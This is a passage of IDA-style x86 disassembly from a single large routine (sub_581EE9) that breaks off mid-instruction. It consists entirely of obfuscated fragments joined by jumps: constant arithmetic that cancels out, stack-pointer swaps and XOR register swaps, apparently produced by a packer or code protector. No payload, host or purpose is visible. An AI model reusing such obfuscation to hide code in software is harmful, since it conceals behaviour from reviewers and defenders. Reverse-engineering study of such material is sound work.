--------------------------------------------------------------------------- loc_5A1F0B: ; CODE XREF: sub_581EE9+154A9j pop esi add ecx, 4 xor ecx, dword ptr [esp-6E82h+arg_6E7A] jmp loc_594BA9 ; --------------------------------------------------------------------------- loc_5A1F17: ; CODE XREF: sub_581EE9+14B66j pop ecx push edi jmp loc_5A34D4 ; --------------------------------------------------------------------------- loc_5A1F1E: ; CODE XREF: sub_581EE9+149D0j push ax jmp loc_5A1DF7 ; --------------------------------------------------------------------------- loc_5A1F25: ; CODE XREF: sub_581EE9+20832j push 17134A87h pop ecx push ecx add dword ptr [esp+0], 3B035D41h pop ebp sub ebp, 3B035D41h pop ecx jmp loc_59DFA5 ; --------------------------------------------------------------------------- loc_5A1F40: ; CODE XREF: sub_581EE9+240F1j add ebx, 1C2F7459h add ebx, eax jmp loc_592831 ; --------------------------------------------------------------------------- loc_5A1F4D: ; CODE XREF: sub_581EE9+18595j xchg edi, [esp-6EA6h+arg_6E9E] pop esp push 318Fh mov [esp-6EA6h+arg_6E9E], ebp jmp loc_59257F ; --------------------------------------------------------------------------- loc_5A1F5E: ; CODE XREF: sub_581EE9+1CAEBj sub edx, 1E7A42C0h add edx, ecx jmp loc_598C0A ; --------------------------------------------------------------------------- loc_5A1F6B: ; CODE XREF: sub_581EE9+1CA93j add bl, al pop eax sub bl, 5 jmp loc_5A1594 ; --------------------------------------------------------------------------- loc_5A1F76: ; CODE XREF: sub_581EE9+1D0F4j sub al, bh add al, 0FBh pop ebx mov bl, al pop eax or ch, bl pop bx xor ch, 50h xor ch, 5Fh xor al, ch pop ecx push dx push ebx push edx jmp loc_59B53C ; --------------------------------------------------------------------------- loc_5A1F94: ; CODE XREF: sub_581EE9+251AAj sub ecx, 555A56D9h add ecx, eax add ecx, 555A56D9h pop eax push 2151h mov [esp-6E6Ah+arg_6E60+2], esi push edi jmp loc_59BAB4 ; --------------------------------------------------------------------------- loc_5A1FB1: ; CODE XREF: sub_581EE9+2527Fj add eax, esi pop esi push edx push esi mov esi, 63785507h mov edx, esi pop esi jmp loc_5A5E6F ; --------------------------------------------------------------------------- loc_5A1FC3: ; CODE XREF: sub_581EE9+2252Cj not [esp-6E66h+arg_6E5C+2] pop edx push eax push 488413BCh mov eax, [esp-6E62h+arg_6E58+2] add esp, 4 jmp loc_59AF0A ; --------------------------------------------------------------------------- loc_5A1FDB: ; CODE XREF: sub_581EE9+177E8j mov edx, 680271D0h add edx, 0C6BEE2B2h sub ecx, edx jmp loc_59833F ; --------------------------------------------------------------------------- loc_5A1FED: ; CODE XREF: sub_581EE9+202F3j mov ebx, eax jmp loc_59C0A3 ; --------------------------------------------------------------------------- loc_5A1FF4: ; CODE XREF: sub_581EE9+2479Dj mov eax, [esp] push eax jmp loc_5942A3 ; --------------------------------------------------------------------------- loc_5A1FFD: ; CODE XREF: sub_581EE9+1C4A0j sub eax, 0B9560D9Ah xor ebx, eax pop eax add ebx, 1 xor ebx, 112328AEh xor ebx, 7E8810CBh push edi sub esp, 4 mov [esp-6E54h+arg_6E4C], eax push 23946127h pop eax add eax, 1FFA10DAh mov edi, eax pop eax and ebx, edi pop edi push 3171h jmp loc_5981D4 ; --------------------------------------------------------------------------- loc_5A2039: ; CODE XREF: sub_581EE9+1FB5Aj add esp, 4 xor eax, ecx push [esp-6E98h+arg_6E8E+2] pop ecx push esi mov esi, esp push ebp mov ebp, 4 add esi, ebp pop ebp push 722Eh mov [esp+0], ebx mov ebx, 4 sub esi, 6C3A66E8h sub esi, 51CD3A69h jmp loc_5A6357 ; --------------------------------------------------------------------------- loc_5A206F: ; CODE XREF: sub_581EE9+1BA43j add eax, esi pop esi mov ebx, [esp-6E56h+arg_6E4C+2] add esp, 4 sub esp, 4 mov [esp-6E56h+arg_6E4C+2], edx push 3582h mov [esp-6E52h+arg_6E48+2], edi push 1E535F59h push [esp-6E4Eh+arg_6E44+2] push dword ptr [esp+0] jmp loc_5A0D1C ; --------------------------------------------------------------------------- loc_5A209C: ; CODE XREF: sub_581EE9+20BD9j mov esp, [esp-6E46h+arg_6E3E] push ebp mov ebp, esp push esi mov esi, 4 jmp loc_5A5B86 ; --------------------------------------------------------------------------- loc_5A20AD: ; CODE XREF: sub_581EE9+1B5A4j mov ecx, 762D50C8h inc ecx or ecx, 63FD2B8Dh shl ecx, 4 add ecx, 0F49E7FE1h or esi, ecx jmp loc_59F618 ; --------------------------------------------------------------------------- loc_5A20C9: ; CODE XREF: sub_581EE9+2022Ej dec ebp dec ebp or ebp, 3D264E58h jmp loc_596E4A ; --------------------------------------------------------------------------- loc_5A20D6: ; CODE XREF: sub_581EE9+20EB8j not ebp sub ebp, 26253B55h and ebp, 18647698h add ebp, 4A956FC2h sub ebp, 166F66BBh sub ecx, ebp pop ebp add ecx, 16197067h add ecx, 49A12384h add ecx, edi sub ecx, 49A12384h sub ecx, 16197067h push ebp mov ebp, 650F1A97h sub ebp, 1 inc ebp jmp loc_5A20C9 ; --------------------------------------------------------------------------- loc_5A211C: ; CODE XREF: sub_581EE9+18A90j pop eax pop edi xor ebx, edx jmp loc_59EB6A ; --------------------------------------------------------------------------- loc_5A2125: ; CODE XREF: sub_581EE9+14326j add al, 4Bh sub al, bl jmp loc_59BEDC ; --------------------------------------------------------------------------- loc_5A212E: ; CODE XREF: sub_581EE9+22CD0j sub esi, 52A82E41h sub esi, edi add esi, 52A82E41h pop edi sub ecx, esi pop esi jmp loc_5A539B ; --------------------------------------------------------------------------- loc_5A2145: ; CODE XREF: sub_581EE9+16F4Cj mov edi, esp jmp loc_598B5B ; --------------------------------------------------------------------------- loc_5A214C: ; CODE XREF: sub_581EE9+19123j or esi, 20E70A0Eh sub esi, 7120FF07h add esi, 37E77E65h push 991h mov [esp-6E88h+arg_6E80], ebx mov ebx, 22CE1750h xor ebx, 34112929h dec ebx jmp loc_59EBA8 ; --------------------------------------------------------------------------- loc_5A2177: ; CODE XREF: sub_581EE9+139E7j pop [esp-6E96h+arg_6E8E] pop esp movzx ax, byte ptr [eax] push edi jmp loc_5A4619 ; --------------------------------------------------------------------------- loc_5A2185: ; CODE XREF: sub_581EE9+12C19j add ecx, 4 xchg ecx, [esp-6E68h+arg_6E60] pop esp and al, bh jmp loc_5A09B8 ; --------------------------------------------------------------------------- loc_5A2193: ; CODE XREF: sub_581EE9+25078j mov ecx, 61F16C3Fh push ebx mov ebx, 687C6DEEh add eax, ebx pop ebx add eax, ecx sub eax, 687C6DEEh pop ecx sub eax, ebx sub eax, 61F16C3Fh sub esp, 4 mov [esp-6E6Ch+arg_6E64], ebx mov ebx, 34E12550h shr ebx, 4 or ebx, 77C62F15h shl ebx, 8 or ebx, 51280534h jmp loc_5987CF ; --------------------------------------------------------------------------- loc_5A21D2: ; CODE XREF: sub_581EE9+212B7j mov eax, 0C532521h xor eax, 0C532523h jmp loc_5A1FED ; --------------------------------------------------------------------------- loc_5A21E1: ; CODE XREF: sub_581EE9+20850j add dl, 78h xor dl, al push [esp-6E6Ch+arg_6E64] pop eax add esp, 4 sub dl, 0B5h add dl, 0B3h add dl, bl sub dl, 0B3h push ecx mov ch, 80h shl ch, 7 shl ch, 2 jmp loc_59D195 ; --------------------------------------------------------------------------- loc_5A2209: ; CODE XREF: sub_581EE9+1D160j xor edx, 0F205B905h jmp loc_5A1316 ; --------------------------------------------------------------------------- loc_5A2214: ; CODE XREF: sub_581EE9+22F75j mov ecx, 2881BD04h push ecx sub [esp-6E3Eh+arg_6E36], 10D95E71h pop edx push ebx mov ebx, 10D95E71h add edx, ebx pop ebx jmp loc_5A475D ; --------------------------------------------------------------------------- loc_5A2230: ; CODE XREF: sub_581EE9+2283Bj add eax, 4 add eax, 4 xchg eax, [esp-6E42h+arg_6E3A] pop esp jmp loc_5A34AF ; --------------------------------------------------------------------------- loc_5A2241: ; CODE XREF: sub_581EE9+1B930j mov ebx, esp push ebp push 4 pop ebp add ebx, ebp jmp loc_594AB3 ; --------------------------------------------------------------------------- loc_5A2251: ; CODE XREF: sub_581EE9+16A83j add edx, 4 xchg edx, [esp-6E66h+arg_6E5C+2] mov esp, [esp-6E66h+arg_6E5C+2] jmp loc_5A0C39 ; --------------------------------------------------------------------------- loc_5A225F: ; CODE XREF: sub_581EE9+21877j shl edi, 3 sub edi, 0C301180h sub esi, 576228BDh sub esi, edi add esi, 576228BDh jmp loc_59D6DC ; --------------------------------------------------------------------------- loc_5A227B: ; CODE XREF: sub_581EE9+1FFBDj mov dh, 25h xchg ah, dh not ah jmp loc_5A2FEC ; --------------------------------------------------------------------------- loc_5A2286: ; CODE XREF: sub_581EE9+24A9Aj add ecx, 39611C5Fh jmp loc_59C54A ; --------------------------------------------------------------------------- loc_5A2291: ; CODE XREF: sub_581EE9+216E5j add edx, edi mov edi, [esp-6E9Eh+arg_6E96] push edx mov edx, esp push edi mov edi, 4 jmp loc_59F68B ; --------------------------------------------------------------------------- loc_5A22A4: ; CODE XREF: sub_581EE9+13428j pop [esp-6E7Ah+arg_6E72] add [esp-6E7Eh+arg_6E76], 4 mov ebp, [esp-6E7Eh+arg_6E76] push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 add ebp, edx pop edx xor ebp, [esp-6E7Ah+arg_6E72] jmp loc_59A201 ; --------------------------------------------------------------------------- loc_5A22CB: ; CODE XREF: sub_581EE9+21418j add edx, esi pop esi push edx push [esp-6E7Ah+arg_6E76] push [esp-6E76h+arg_6E6E] pop edx add esp, 4 jmp loc_59D5D7 ; --------------------------------------------------------------------------- loc_5A22DF: ; CODE XREF: sub_581EE9+2347Bj push edi push 4A070536h pop edi push esi mov esi, 5E19443Bh jmp loc_5923EE ; --------------------------------------------------------------------------- loc_5A22F1: ; CODE XREF: sub_581EE9+1775Ej pop esp add ebp, 4 jmp loc_5A4183 ; --------------------------------------------------------------------------- loc_5A22FD: ; CODE XREF: sub_581EE9+16560j mov edi, 65CB7ED3h add edi, 5E3933C0h or edi, 4D255F13h or edi, 6C1A617Fh not edi xor edi, 12C00004h add ebx, edi pop edi sub ebx, 4 xchg ebx, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_59BB4D ; --------------------------------------------------------------------------- loc_5A232D: ; CODE XREF: sub_581EE9+1FA56j mov ecx, esp push esi mov esi, 7BF13D0Fh sub esi, 7BF13D0Bh add ecx, esi jmp loc_5A0DA5 ; --------------------------------------------------------------------------- loc_5A2342: ; CODE XREF: sub_581EE9+184D0j add esp, 4 sub bl, ch mov cx, word ptr [esp-6EA4h+arg_6E9A+2] add esp, 2 movzx eax, al pop dword ptr [edi+eax*4] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A235C: ; CODE XREF: sub_581EE9+18D92j pop eax jmp loc_59225A ; --------------------------------------------------------------------------- loc_5A2362: ; CODE XREF: sub_581EE9+1CF52j mov [esp-6E98h+arg_6E8E+2], esi not [esp-6E98h+arg_6E8E+2] pop esi not esi shl esi, 8 sub esi, 0D3DF6FA4h jmp loc_5A1681 ; --------------------------------------------------------------------------- loc_5A2379: ; CODE XREF: sub_581EE9+1F73Fj add esp, 2 push bx mov bh, 0CDh jmp loc_59E166 ; --------------------------------------------------------------------------- loc_5A2385: ; CODE XREF: sub_581EE9+1505Aj mov [esp-6E72h+arg_6E68+2], edx mov edx, edi push edx jmp loc_5A584C ; --------------------------------------------------------------------------- loc_5A2390: ; CODE XREF: sub_581EE9+11A47j add ch, 1 and ch, 0C7h jmp loc_592D7E ; --------------------------------------------------------------------------- loc_5A239B: ; CODE XREF: sub_581EE9+15147j xchg ebx, [esp-6E58h+arg_6E50] jmp loc_594E98 ; --------------------------------------------------------------------------- loc_5A23A3: ; CODE XREF: sub_581EE9+162B1j push 440Fh jmp loc_592470 ; --------------------------------------------------------------------------- loc_5A23AD: ; CODE XREF: sub_581EE9+198B2j add [esp-6EA2h+arg_6E9A], eax sub esp, 4 mov [esp-6E9Eh+arg_6E96], esi jmp loc_5968E1 ; --------------------------------------------------------------------------- loc_5A23BB: ; CODE XREF: sub_581EE9+1D06Dj xor edi, [esp-6E7Eh+arg_6E76] xor [esp-6E7Eh+arg_6E76], edi xor edi, [esp-6E7Eh+arg_6E76] pop esp push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59DB5E ; --------------------------------------------------------------------------- loc_5A23D7: ; CODE XREF: sub_581EE9+224B7j mov eax, 5BA15316h inc eax not eax jmp loc_59E136 ; --------------------------------------------------------------------------- loc_5A23E4: ; CODE XREF: sub_581EE9+16189j mov al, ch not al mov ch, al pop ax add ch, 7Ah sub ch, 0Ah push bx mov bh, 11h or ch, bh pop bx add ch, 0DAh sub al, ch jmp loc_59337D ; --------------------------------------------------------------------------- loc_5A2404: ; CODE XREF: sub_581EE9+13A65j add ebp, 4 sub ebp, 4 xchg ebp, [esp-6EBCh+arg_6EB2+2] jmp loc_5A048D ; --------------------------------------------------------------------------- loc_5A2415: ; CODE XREF: sub_581EE9+19322j sub [esp-6EA2h+arg_6E9E], 10EF5380h sub [esp-6EA2h+arg_6E9E], 103D5823h push [esp-6EA2h+arg_6E9A] mov ebp, [esp-6E9Eh+arg_6E96] jmp loc_5969E0 ; --------------------------------------------------------------------------- loc_5A2430: ; CODE XREF: sub_581EE9+198CCj add ebp, 0B28FF25Ch add edi, ebp pop ebp jmp loc_5A480A ; --------------------------------------------------------------------------- loc_5A243E: ; CODE XREF: sub_581EE9+15336j mov esi, 0A5E2222h sub esi, 42105A9h add eax, esi pop esi sub esp, 4 mov [esp-6EAEh+arg_6EA4+2], ebp push ebx mov ebx, 4A441191h dec ebx push esi push ecx jmp loc_594526 ; --------------------------------------------------------------------------- loc_5A2463: ; CODE XREF: sub_581EE9+15B0Fj sub ebx, 2517675h push edx mov edx, 72140852h and edx, 7FFD4D05h xor edx, 5D77649Ah add ebx, edx pop edx jmp loc_5A096A ; --------------------------------------------------------------------------- loc_5A2483: ; CODE XREF: sub_581EE9+2393Cj sub esp, 4 mov [esp-6E7Ch+arg_6E72+2], edx mov dh, 0E4h jmp loc_59C65F ; --------------------------------------------------------------------------- loc_5A2490: ; CODE XREF: sub_581EE9+179BAj mov ebp, 94F55CD5h xor eax, ebp jmp loc_594547 ; --------------------------------------------------------------------------- loc_5A249C: ; CODE XREF: sub_581EE9+14705j sub ax, 0CCEh sub ax, si add ax, 0CCEh add ax, 0DDDh sub ax, 7074h jmp loc_5A3269 ; --------------------------------------------------------------------------- loc_5A24B4: ; CODE XREF: sub_581EE9+1C56Dj sub edx, 4 xchg edx, [esp+0] pop esp mov [esp-6E94h+arg_6E8A+2], ebx mov ebx, 4D942169h mov edi, 3CE702Fh add edi, 1 add edi, 21ED76A4h and edi, 3D8244E5h sub edi, 14C97535h jmp loc_594A77 ; --------------------------------------------------------------------------- loc_5A24E2: ; CODE XREF: sub_581EE9+171D8j pop ebp jmp loc_5984A7 ; --------------------------------------------------------------------------- loc_5A24E8: ; CODE XREF: sub_581EE9+227DCj mov edx, 633E53DFh xor edx, 6E9F2409h and eax, edx mov edx, [esp-6EA0h+arg_6E96+2] add esp, 4 shr eax, 1 xor eax, 48A1D6E7h sub ebx, eax jmp loc_59A186 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EA4h+arg_6E9A+2] push 4C35h mov [esp-6EA0h+arg_6E96+2], ebx sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], esp add [esp-6E9Ch+arg_6E92+2], 4 push [esp-6E9Ch+arg_6E92+2] jmp loc_59F0BC ; --------------------------------------------------------------------------- loc_5A2527: ; CODE XREF: sub_581EE9+17E14j add esp, 4 pop ecx pop edx and eax, edi pop edi jmp loc_592999 ; --------------------------------------------------------------------------- loc_5A2537: ; CODE XREF: sub_581EE9+23AECj add ch, 97h sub bl, ch pop ecx movzx eax, al push dword ptr [edi+eax*4] push [esp-6E8Eh+arg_6E84+2] pop eax push 1056h mov [esp-6E8Ah+arg_6E80+2], ecx sub esp, 4 sub esp, 4 jmp loc_597E19 ; --------------------------------------------------------------------------- loc_5A255D: ; CODE XREF: sub_581EE9+241C7j xchg edx, dword ptr [esp-6E82h+arg_6E7A] jmp loc_59F0C3 ; --------------------------------------------------------------------------- loc_5A2565: ; CODE XREF: sub_581EE9+16EA0j mov dword ptr [esp-6EAAh+arg_6EA2], esi jmp loc_5975F8 ; --------------------------------------------------------------------------- loc_5A256D: ; CODE XREF: sub_581EE9+1DD86j pop esi push eax mov eax, esp add eax, 4 add eax, 4 sub esp, 4 jmp loc_5A3B2F ; --------------------------------------------------------------------------- loc_5A2583: ; CODE XREF: sub_581EE9+1D282j push edi mov edi, 0DF0F66h mov esi, edi pop edi add esi, 71A63FB0h sub edi, esi pop esi jmp loc_59FB5F ; --------------------------------------------------------------------------- loc_5A259A: ; CODE XREF: sub_581EE9+118FCj add esi, 4 xchg esi, [esp-6EA4h+arg_6E9A+2] jmp loc_5A453B ; --------------------------------------------------------------------------- loc_5A25A5: ; CODE XREF: sub_581EE9+104B7j xchg ebx, [esp-6EB0h+arg_6EA8] pop esp mov [esp-6EB4h+arg_6EAC], eax mov eax, 66875BB8h jmp loc_595834 ; --------------------------------------------------------------------------- loc_5A25B6: ; CODE XREF: sub_581EE9+229DEj mov [esp-6EB4h+arg_6EAC], ebx push 5995h push esp pop [esp-6EACh+arg_6EA4] add [esp-6EB0h+arg_6EA8], 4 mov ebx, [esp-6EB0h+arg_6EA8] add esp, 4 sub esp, 4 mov [esp-6EB0h+arg_6EA8], ebp mov ebp, 4 add ebx, 1F4A7DE1h add ebx, 4BAA739Fh add ebx, ebp sub ebx, 4BAA739Fh sub ebx, 1F4A7DE1h pop ebp add ebx, 4 xchg ebx, [esp-6EB4h+arg_6EAC] jmp loc_5A5DC1 ; --------------------------------------------------------------------------- loc_5A2606: ; CODE XREF: sub_581EE9+153C8j sub ebx, 3C92DEAh jmp loc_5A6A57 ; --------------------------------------------------------------------------- loc_5A2611: ; CODE XREF: sub_581EE9+19EA2j mov [esp-6E92h+arg_6E8A], edi mov edi, esp add edi, 4 sub edi, 4 push edi push [esp-6E8Eh+arg_6E8A] jmp loc_59397E ; --------------------------------------------------------------------------- loc_5A262C: ; CODE XREF: sub_581EE9+10B22j push esp pop edx push ebp mov ebp, 50C66588h xor ebp, 6B3F6962h shr ebp, 8 inc ebp sub ebp, 3BF909h add edx, ebp pop ebp add edx, 4 push edx push [esp-6E96h+arg_6E92] jmp loc_592C43 ; --------------------------------------------------------------------------- loc_5A2654: ; CODE XREF: sub_581EE9+247C1j xchg ebx, [esp-6E92h+arg_6E8A] jmp loc_59F430 ; --------------------------------------------------------------------------- loc_5A265C: ; CODE XREF: sub_581EE9+11A55j add esp, 4 sub esp, 2 mov word ptr [esp-6EA2h+arg_6E9A], cx sub esp, 4 jmp loc_592ADA ; --------------------------------------------------------------------------- loc_5A2671: ; CODE XREF: sub_581EE9+100BDj mov [esp-6EA6h+arg_6E9E], eax jmp loc_59EACF ; --------------------------------------------------------------------------- loc_5A2679: ; CODE XREF: sub_581EE9+16D1Cj sub esp, 4 mov [esp-6E88h+arg_6E80], edi mov edi, 5AA07129h add ebx, edi pop edi sub ebx, 244C5F45h add ebx, edi jmp loc_597E62 ; --------------------------------------------------------------------------- loc_5A2694: ; CODE XREF: sub_581EE9+1EF22j add edi, edx jmp loc_5A315D ; --------------------------------------------------------------------------- loc_5A269B: ; CODE XREF: sub_581EE9+16552j add esp, 4 push edx jmp loc_59628D ; --------------------------------------------------------------------------- loc_5A26A7: ; CODE XREF: sub_581EE9+165C1j pop esi jmp loc_593EE6 ; --------------------------------------------------------------------------- loc_5A26AD: ; CODE XREF: sub_581EE9+1BFECj mov dword ptr [edx+38h], 94D3A665h add [edx+38h], eax jmp loc_5A1505 ; --------------------------------------------------------------------------- loc_5A26BC: ; CODE XREF: sub_581EE9+14360j add esi, 3352534Bh sub esi, 14B345C4h add esi, 3A69F12Bh push esi add [esp-6EA4h+arg_6E9A+2], 5F0D118Ah pop edi push ebp mov ebp, 22196A1Ch xor ebp, 4A4861A2h jmp loc_59271A ; --------------------------------------------------------------------------- loc_5A26E8: ; CODE XREF: sub_581EE9+1806Cj add [esp-6E72h+arg_6E68+2], 4 jmp loc_59D19B ; --------------------------------------------------------------------------- loc_5A26F1: ; CODE XREF: sub_581EE9+14696j add edi, 4 xchg edi, [esp-6E98h+arg_6E8E+2] pop esp push eax push 4 pop eax push esi jmp loc_59BE49 ; --------------------------------------------------------------------------- loc_5A2708: ; CODE XREF: sub_581EE9+2313Aj add ecx, 4 push ebx mov ebx, 2 sub esp, 4 mov [esp], ebp push ecx jmp loc_5A1F25 ; --------------------------------------------------------------------------- loc_5A2720: ; CODE XREF: sub_581EE9+1D52Ej pop esp shr eax, 0Bh xor ecx, eax jmp loc_5A087B ; --------------------------------------------------------------------------- loc_5A272B: ; CODE XREF: sub_581EE9+17606j pop eax push 40B5h jmp loc_59371E ; --------------------------------------------------------------------------- loc_5A2736: ; CODE XREF: sub_581EE9+13B6Cj shr dl, 3 jmp loc_5A21E1 ; --------------------------------------------------------------------------- loc_5A273E: ; CODE XREF: sub_581EE9+21460j and eax, ebx jmp loc_5A4174 ; --------------------------------------------------------------------------- loc_5A2745: ; CODE XREF: sub_581EE9+1BE04j add edi, 4 add edi, 4 xchg edi, [esp-6E96h+arg_6E8E] pop esp push ebx mov ebx, esp jmp loc_59D6ED ; --------------------------------------------------------------------------- loc_5A275D: ; CODE XREF: sub_581EE9+17176j push edx jmp loc_594C2D ; --------------------------------------------------------------------------- loc_5A2763: ; CODE XREF: sub_581EE9+1FA39j neg cl dec cl xor cl, 0E8h push bx mov bl, 0Dh mov al, bl mov bx, [esp+0] add esp, 2 add al, cl jmp loc_5A5E48 ; --------------------------------------------------------------------------- loc_5A277E: ; CODE XREF: sub_581EE9+1E78Fj mov ebp, 44292C7Dh add ebx, 10F3166h jmp loc_5A171B ; --------------------------------------------------------------------------- loc_5A278E: ; CODE XREF: sub_581EE9+13C16j push edi mov edi, 3FDB13EAh jmp loc_5A5482 ; --------------------------------------------------------------------------- loc_5A2799: ; CODE XREF: sub_581EE9+12280j mov edx, [esp-6E6Ah+arg_6E60+2] add esp, 4 push [esp-6E6Eh+arg_6E64+2] mov edx, [esp-6E6Ah+arg_6E60+2] add esp, 4 add esp, 4 push ecx jmp loc_59495C ; --------------------------------------------------------------------------- loc_5A27B7: ; CODE XREF: sub_581EE9+123D9j push ebx mov ebx, 64243B69h mov edx, 0F798090Ch add edx, ebx jmp loc_597012 ; --------------------------------------------------------------------------- loc_5A27C9: ; CODE XREF: sub_581EE9+145A1j pop ecx push 0BF2h mov [esp-6E9Ah+arg_6E92], ebx mov ebx, esp sub esp, 4 mov [esp-6E96h+arg_6E8E], esi mov esi, 70E46426h xor esi, 70E46422h add ebx, esi pop esi add ebx, 4 xchg ebx, [esp-6E9Ah+arg_6E92] pop esp push [esp-6E9Eh+arg_6E96] mov edx, [esp-6E9Ah+arg_6E92] add esp, 4 jmp loc_5A1715 ; --------------------------------------------------------------------------- loc_5A2800: ; CODE XREF: sub_581EE9+19999j mov eax, 517F1144h sub ecx, eax mov eax, [esp-6E6Ch+arg_6E64] add esp, 4 pop ebp xor ecx, 52D8487Dh sub esp, 4 jmp loc_597BF2 ; --------------------------------------------------------------------------- loc_5A2822: ; CODE XREF: sub_581EE9+24135j push edx mov edx, esp push esi jmp loc_596700 ; --------------------------------------------------------------------------- loc_5A282B: ; CODE XREF: sub_581EE9+11682j sub ecx, 15700576h add ecx, edi add ecx, 15700576h pop edi add ecx, 4 xchg ecx, [esp-6E86h+arg_6E7C+2] pop esp jmp loc_593F37 ; --------------------------------------------------------------------------- loc_5A2846: ; CODE XREF: sub_581EE9+19196j xor bp, 117Fh jmp loc_5A5EB5 ; --------------------------------------------------------------------------- loc_5A2850: ; CODE XREF: sub_581EE9+16F04j sub esp, 4 jmp loc_59EC38 ; --------------------------------------------------------------------------- loc_5A285B: ; CODE XREF: sub_581EE9+2420Ej mov esp, [esp-6EA4h+arg_6E9A+2] jmp loc_593A03 ; --------------------------------------------------------------------------- loc_5A2863: ; CODE XREF: sub_581EE9+22062j xor ecx, esi jmp loc_5A0542 ; --------------------------------------------------------------------------- loc_5A286A: ; CODE XREF: sub_581EE9+15741j pop esp pop [esp-6E7Ah+arg_6E72] mov esp, [esp-6E7Eh+arg_6E76] mov [esp-6E7Eh+arg_6E76], eax jmp loc_593CEB ; --------------------------------------------------------------------------- loc_5A2879: ; CODE XREF: sub_581EE9+244A9j add edi, esi push [esp-6E7Eh+arg_6E76] pop esi add esp, 4 jmp loc_59F6B9 ; --------------------------------------------------------------------------- loc_5A288A: ; CODE XREF: sub_581EE9+15975j mov edi, 760E478Ah and edi, 7B440163h dec edi push edx push ecx mov ecx, 7F016102h neg ecx add ecx, 2B665769h jmp loc_59F583 ; --------------------------------------------------------------------------- loc_5A28AA: ; CODE XREF: sub_581EE9+1515Dj mov ecx, [esp-6E58h+arg_6E50] add esp, 4 add eax, 4 jmp loc_5A2ABF ; --------------------------------------------------------------------------- loc_5A28BD: ; CODE XREF: sub_581EE9+191ADj xchg edx, [esp-6EB2h+arg_6EA8+2] pop esp sub esp, 4 mov [esp-6EB2h+arg_6EA8+2], eax mov ah, 0EDh push edx push ecx mov cl, 26h add cl, 1Dh or cl, 69h jmp loc_5A2DA6 ; --------------------------------------------------------------------------- loc_5A28DB: ; CODE XREF: sub_581EE9+1C680j xor eax, ebp pop ebp add edi, eax pop eax push 261Ah mov [esp-6E96h+arg_6E8E], edx jmp loc_594020 ; --------------------------------------------------------------------------- loc_5A28EE: ; CODE XREF: sub_581EE9+18E7Aj mov esp, [esp-6E6Ah+arg_6E60+2] dec byte ptr [esp-6E6Ah+arg_6E60+2] pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A28FA: ; CODE XREF: sub_581EE9+15CD1j dec eax push 1DAh mov [esp-6E8Eh+arg_6E84+2], ecx mov ecx, 60F85C47h or eax, ecx pop ecx sub eax, 6DF95C75h sub esi, 43E75506h add esi, eax jmp loc_593879 ; --------------------------------------------------------------------------- loc_5A291D: ; CODE XREF: sub_581EE9+1B565j sub edx, ecx xchg edx, ecx pop edx not ecx inc ecx push edx mov edx, 78292D50h dec edx neg edx sub edx, 7D36481h xor edx, 56169D62h sub ecx, edx jmp loc_597F93 ; --------------------------------------------------------------------------- loc_5A2941: ; CODE XREF: sub_581EE9+25243j mov cl, 12h add cl, 49h jmp loc_5A2BA5 ; --------------------------------------------------------------------------- loc_5A294B: ; CODE XREF: sub_581EE9+230E1j pop ecx jmp loc_598A35 ; --------------------------------------------------------------------------- loc_5A2951: ; CODE XREF: sub_581EE9+14B16j and eax, edi mov edi, [esp-6EB2h+arg_6EA8+2] add esp, 4 or edx, eax shl edx, 1 push 2805h mov [esp-6EB2h+arg_6EA8+2], ebx jmp loc_5966A0 ; --------------------------------------------------------------------------- loc_5A296A: ; CODE XREF: sub_581EE9+13315j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A296F: ; CODE XREF: sub_581EE9+1C9B0j pop edx push edi push eax jmp loc_592C64 ; --------------------------------------------------------------------------- loc_5A2977: ; CODE XREF: sub_581EE9+21CF5j mov [esp-6E5Eh+arg_6E54+2], edi push ebp push 194F5FAAh mov ebp, [esp-6E56h+arg_6E4C+2] add esp, 4 sub esp, 4 jmp loc_5A6FE9 ; --------------------------------------------------------------------------- loc_5A2994: ; CODE XREF: sub_581EE9+1B1CAj pop ax push eax mov al, 98h xor al, 57h not al push small 19B0h mov word ptr [esp-6E8Ch+arg_6E84], cx mov cl, 4 sub al, cl pop cx jmp loc_5A2F85 ; --------------------------------------------------------------------------- loc_5A29B0: ; CODE XREF: sub_581EE9+1758Dj push esi jmp loc_59DCB7 ; --------------------------------------------------------------------------- loc_5A29B6: ; CODE XREF: sub_581EE9+14848j shr esi, 7 shl esi, 5 shr esi, 7 jmp loc_599522 ; --------------------------------------------------------------------------- loc_5A29C4: ; CODE XREF: sub_581EE9+104E6j xor [esp-6EACh+arg_6EA8], ebp push [esp-6EACh+arg_6EA4] pop ebp push 4365h mov [esp-6EA8h+arg_6E9E+2], eax mov eax, esp add eax, 4 push ebp mov ebp, 633E5827h inc ebp shr ebp, 5 jmp loc_598501 ; --------------------------------------------------------------------------- loc_5A29EA: ; CODE XREF: sub_581EE9+19B0Fj xchg edx, [esp-6E6Eh+arg_6E64+2] pop esp add ebx, eax push ecx mov ecx, 63A326A0h sub ebx, ecx pop ecx push 35A9h mov [esp-6E6Eh+arg_6E64+2], esi push eax mov eax, 424A6DBEh mov esi, eax pop eax push edi push 3397F9Eh mov edi, [esp-6E66h+arg_6E5C+2] add esp, 4 xor esi, edi pop edi add esi, 0FFFFFFFFh shl esi, 1 xor esi, 53765895h jmp loc_5A3C7A ; --------------------------------------------------------------------------- loc_5A2A29: ; CODE XREF: sub_581EE9+1D323j and di, 4C37h sub di, 0ED87h mov dx, di pop edi and bp, dx pop dx dec bp jmp loc_59F4CF ; --------------------------------------------------------------------------- loc_5A2A43: ; CODE XREF: sub_581EE9+21E96j add edi, ecx add edi, 22010DE2h pop ecx add edi, 4 xchg edi, [esp-6E72h+arg_6E68+2] pop esp xor esi, [esp-6E76h+arg_6E6E] xor [esp-6E76h+arg_6E6E], esi xor esi, [esp-6E76h+arg_6E6E] jmp loc_59FEEE ; --------------------------------------------------------------------------- loc_5A2A61: ; CODE XREF: sub_581EE9+24ACFj pop ebx mov ecx, [esp-6E7Ah+arg_6E72] add esp, 4 push edx mov edx, 24794BEBh sub dword ptr [esp-6E7Ah+arg_6E7A], edx pop edx add dword ptr [esp-6E7Eh+arg_6E7A], 0B130BEh jmp loc_59FC82 ; --------------------------------------------------------------------------- loc_5A2A80: ; CODE XREF: sub_581EE9+1C38Aj sub ebp, 